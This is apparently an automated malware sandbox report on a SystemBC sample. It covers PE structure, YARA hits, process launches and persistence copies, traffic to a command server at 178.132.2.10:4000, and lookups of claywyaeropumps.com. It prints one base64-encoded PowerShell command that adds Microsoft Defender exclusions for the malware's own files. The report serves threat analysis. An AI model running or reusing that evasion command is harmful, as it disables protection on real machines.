IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xded6c	0xdee00	48f0040d1c0451d08e964afcc0311e35	False	0.9827033966629276	data	7.986151828216251	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe2000	0x59e	0x600	0e0545a3545cafff27dfe52bb55901cc	False	0.4231770833333333	data	4.099683349920344	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe4000	0xc	0x200	6d9ef899067177d3b898c123f77c97c7	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe205c	0x31c	data			0.42839195979899497
RT_MANIFEST	0xe23b4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 11:36:15.935462952 CET	49884	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:16.055425882 CET	4000	49884	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:16.055520058 CET	49884	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:16.055661917 CET	49884	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:16.177486897 CET	4000	49884	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:26.044240952 CET	49884	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:26.205306053 CET	4000	49884	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:27.406512022 CET	49906	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:27.529026985 CET	4000	49906	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:27.529305935 CET	49906	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:27.532608986 CET	49906	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:27.652304888 CET	4000	49906	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:37.528774023 CET	49906	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:37.689549923 CET	4000	49906	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:37.964807034 CET	4000	49884	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:37.964893103 CET	49884	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:38.892796040 CET	49922	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:39.012378931 CET	4000	49922	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:39.015697956 CET	49922	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:39.073688030 CET	49922	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:39.193228960 CET	4000	49922	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:49.075915098 CET	49922	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:49.241520882 CET	4000	49922	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:49.425812006 CET	4000	49906	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:49.426002026 CET	49906	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:49.435710907 CET	49947	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:49.555380106 CET	4000	49947	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:49.555596113 CET	49947	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:49.555596113 CET	49947	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:49.675484896 CET	4000	49947	178.132.2.10	192.168.2.6
Dec 18, 2024 11:36:59.560616970 CET	49947	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:36:59.721894979 CET	4000	49947	178.132.2.10	192.168.2.6
Dec 18, 2024 11:37:00.887207031 CET	4000	49922	178.132.2.10	192.168.2.6
Dec 18, 2024 11:37:00.887300014 CET	49922	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:37:00.952661991 CET	49975	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:37:01.072400093 CET	4000	49975	178.132.2.10	192.168.2.6
Dec 18, 2024 11:37:01.072518110 CET	49975	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:37:01.072702885 CET	49975	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:37:01.192430019 CET	4000	49975	178.132.2.10	192.168.2.6
Dec 18, 2024 11:37:11.060322046 CET	49975	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:37:11.225820065 CET	4000	49975	178.132.2.10	192.168.2.6
Dec 18, 2024 11:37:11.420037031 CET	49999	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:37:11.450026035 CET	4000	49947	178.132.2.10	192.168.2.6
Dec 18, 2024 11:37:11.450261116 CET	49947	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:37:11.539585114 CET	4000	49999	178.132.2.10	192.168.2.6
Dec 18, 2024 11:37:11.539803028 CET	49999	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:37:11.539803028 CET	49999	4000	192.168.2.6	178.132.2.10
Dec 18, 2024 11:37:11.659476995 CET	4000	49999	178.132.2.10	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 11:36:13.871681929 CET	51854	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:36:14.872780085 CET	51854	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:36:15.826069117 CET	53	51854	1.1.1.1	192.168.2.6
Dec 18, 2024 11:36:15.826159000 CET	53	51854	1.1.1.1	192.168.2.6
Dec 18, 2024 11:36:26.154635906 CET	51068	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:36:27.172168970 CET	51068	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:36:27.263818979 CET	53	51068	1.1.1.1	192.168.2.6
Dec 18, 2024 11:36:27.309489012 CET	53	51068	1.1.1.1	192.168.2.6
Dec 18, 2024 11:36:37.639022112 CET	53878	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:36:38.654031038 CET	53878	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:36:38.766541958 CET	53	53878	1.1.1.1	192.168.2.6
Dec 18, 2024 11:36:38.792246103 CET	53	53878	1.1.1.1	192.168.2.6
Dec 18, 2024 11:36:49.185997009 CET	64616	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:36:49.323458910 CET	53	64616	1.1.1.1	192.168.2.6
Dec 18, 2024 11:36:59.670327902 CET	58461	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:37:00.669945002 CET	58461	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:37:00.836915016 CET	53	58461	1.1.1.1	192.168.2.6
Dec 18, 2024 11:37:00.836925983 CET	53	58461	1.1.1.1	192.168.2.6
Dec 18, 2024 11:37:11.170411110 CET	53342	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:37:11.308007956 CET	53	53342	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 11:36:13.871681929 CET	192.168.2.6	1.1.1.1	0x7fef	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:14.872780085 CET	192.168.2.6	1.1.1.1	0x7fef	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:26.154635906 CET	192.168.2.6	1.1.1.1	0x5476	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:27.172168970 CET	192.168.2.6	1.1.1.1	0x5476	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:37.639022112 CET	192.168.2.6	1.1.1.1	0xe400	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:38.654031038 CET	192.168.2.6	1.1.1.1	0xe400	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:49.185997009 CET	192.168.2.6	1.1.1.1	0x32ac	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:59.670327902 CET	192.168.2.6	1.1.1.1	0xae73	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:37:00.669945002 CET	192.168.2.6	1.1.1.1	0xae73	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:37:11.170411110 CET	192.168.2.6	1.1.1.1	0xf862	Standard query (0)	claywyaeropumps.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 11:35:38.483612061 CET	1.1.1.1	192.168.2.6	0x807c	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 11:35:38.483612061 CET	1.1.1.1	192.168.2.6	0x807c	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:35:38.483612061 CET	1.1.1.1	192.168.2.6	0x807c	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:00.171756029 CET	1.1.1.1	192.168.2.6	0xcbf5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:00.171756029 CET	1.1.1.1	192.168.2.6	0xcbf5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:15.826069117 CET	1.1.1.1	192.168.2.6	0x7fef	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:15.826159000 CET	1.1.1.1	192.168.2.6	0x7fef	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:27.263818979 CET	1.1.1.1	192.168.2.6	0x5476	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:27.309489012 CET	1.1.1.1	192.168.2.6	0x5476	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:38.766541958 CET	1.1.1.1	192.168.2.6	0xe400	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:38.792246103 CET	1.1.1.1	192.168.2.6	0xe400	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:36:49.323458910 CET	1.1.1.1	192.168.2.6	0x32ac	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:37:00.836915016 CET	1.1.1.1	192.168.2.6	0xae73	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:37:00.836925983 CET	1.1.1.1	192.168.2.6	0xae73	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:37:11.308007956 CET	1.1.1.1	192.168.2.6	0xf862	Server failure (2)	claywyaeropumps.com	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	05:35:07
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\Opdxdyeul.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Opdxdyeul.exe"
Imagebase:	0xb10000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2382259105.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000000.00000002.2338555032.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000000.00000002.2338555032.0000000003322000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2338555032.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2369811450.00000000045DC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:35:20
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA
Imagebase:	0xc0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:35:20
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:35:21
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:35:25
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\Opdxdyeul.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Opdxdyeul.exe"
Imagebase:	0x810000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:35:26
Start date:	18/12/2024
Path:	C:\ProgramData\colsv\qxdc.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\colsv\qxdc.exe
Imagebase:	0xc40000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000008.00000002.2480913690.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000008.00000002.2480913690.00000000033C2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000008.00000002.2480913690.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:35:35
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Yjlwuuys.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Imagebase:	0x5f0000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 0000000E.00000002.2571975141.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000E.00000002.2571975141.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 0000000E.00000002.2571975141.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:35:37
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	05:35:38
Start date:	18/12/2024
Path:	C:\ProgramData\colsv\qxdc.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\colsv\qxdc.exe"
Imagebase:	0x210000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000011.00000002.2470099551.00000000003C5000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:35:44
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Yjlwuuys.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Imagebase:	0x740000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000012.00000002.2655007606.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000012.00000002.2655007606.0000000002B38000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000012.00000002.2655007606.0000000002DF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:35:47
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Yjlwuuys.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Imagebase:	0xe10000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:35:56
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Yjlwuuys.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Imagebase:	0x7a0000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:36:01
Start date:	18/12/2024
Path:	C:\ProgramData\colsv\qxdc.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\colsv\qxdc.exe
Imagebase:	0x620000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000015.00000002.2818927936.0000000002CE4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000015.00000002.2818927936.0000000002CD8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000015.00000002.2818927936.00000000029F8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:36:13
Start date:	18/12/2024
Path:	C:\ProgramData\colsv\qxdc.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\colsv\qxdc.exe"
Imagebase:	0xe10000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	05:37:01
Start date:	18/12/2024
Path:	C:\ProgramData\colsv\qxdc.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\colsv\qxdc.exe
Imagebase:	0x7f0000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000018.00000002.3414550975.0000000002ED9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000018.00000002.3414550975.0000000002EE4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000018.00000002.3414550975.0000000002BE8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:37:12
Start date:	18/12/2024
Path:	C:\ProgramData\colsv\qxdc.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\colsv\qxdc.exe"
Imagebase:	0xa60000
File size:	915'456 bytes
MD5 hash:	CEE58644E824D57927FE73BE837B1418
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	95.9%
Signature Coverage:	14.7%
Total number of Nodes:	394
Total number of Limit Nodes:	21

Executed Functions

Function 0592BF40 Relevance: 2.4, Strings: 1, Instructions: 1174COMMON

Download Yara Rule

Strings

4, xrefs: 0592C915

Memory Dump Source

Source File: 00000000.00000002.2390621824.0000000005920000.00000040.00000800.00020000.00000000.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5920000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: a034ac917f06234dbf5196a473793141c46066fc066abfe8d137115bf48bd64d
Instruction ID: ac9c5ffc17164189c4d77203ea785921665126bd00ebf609392ad218b5e3e6f9
Opcode Fuzzy Hash: a034ac917f06234dbf5196a473793141c46066fc066abfe8d137115bf48bd64d
Instruction Fuzzy Hash: 4BB2E874A00228DFDB14DFA4C994BADB7BABF88301F148599E505AB3A9DB70ED41CF50

Function 05820040 Relevance: 2.3, Strings: 1, Instructions: 1081
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 05820B80

Memory Dump Source

Source File: 00000000.00000002.2382740465.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 5a715dc44d282f9568a39ea8145e28e4c1afbf209afed189f1fc207d804462cd
Instruction ID: ce8938a6034084097f3ab7ecabff99165b1b474277e248147bd6344fd6ac4046
Opcode Fuzzy Hash: 5a715dc44d282f9568a39ea8145e28e4c1afbf209afed189f1fc207d804462cd
Instruction Fuzzy Hash: 5CC2C1B4E05229CFDB64DF69C984B9DBBB6BB88304F1081E9D909A7355DB709E81CF40

Function 058FD138 Relevance: 1.8, Strings: 1, Instructions: 543
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 058FD244

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 012beed090b8b61fef2be4b116a69e73df3c560553b01d5216fb347260e29712
Instruction ID: 38532796949f1473ac981c146a1a12f05d42c5073ac2b0e3fa81e9085a7c994a
Opcode Fuzzy Hash: 012beed090b8b61fef2be4b116a69e73df3c560553b01d5216fb347260e29712
Instruction Fuzzy Hash: 5842D471D016698BDB64CF69C850BDDB7B2BF89310F5486EAD90DA7250DB30AE81CF80

Function 0592C267 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 0592C915

Memory Dump Source

Source File: 00000000.00000002.2390621824.0000000005920000.00000040.00000800.00020000.00000000.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5920000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 4d59da95b5a902995d167814075d0e077d170b847884e9a207e427785477899b
Instruction ID: 437a2735a0b2e65a2b2b334253c23684b22813bd30904f2c106d7922adf65e0f
Opcode Fuzzy Hash: 4d59da95b5a902995d167814075d0e077d170b847884e9a207e427785477899b
Instruction Fuzzy Hash: D0220E74A00229DFDB14DF64C994BADB7B6FF48300F1485A9E509AB3A9DB70AD81CF50

Function 058FFEA0 Relevance: 1.6, APIs: 1, Instructions: 108nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 058FFF5D

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 94e805bc758a5641cc008c10c1ce04c00404e206756b2b02343b23ae759fb06d
Instruction ID: 7d7b014ca7f3897605d5ea6a3f0bfcd39a634779e796967107488b94b2213121
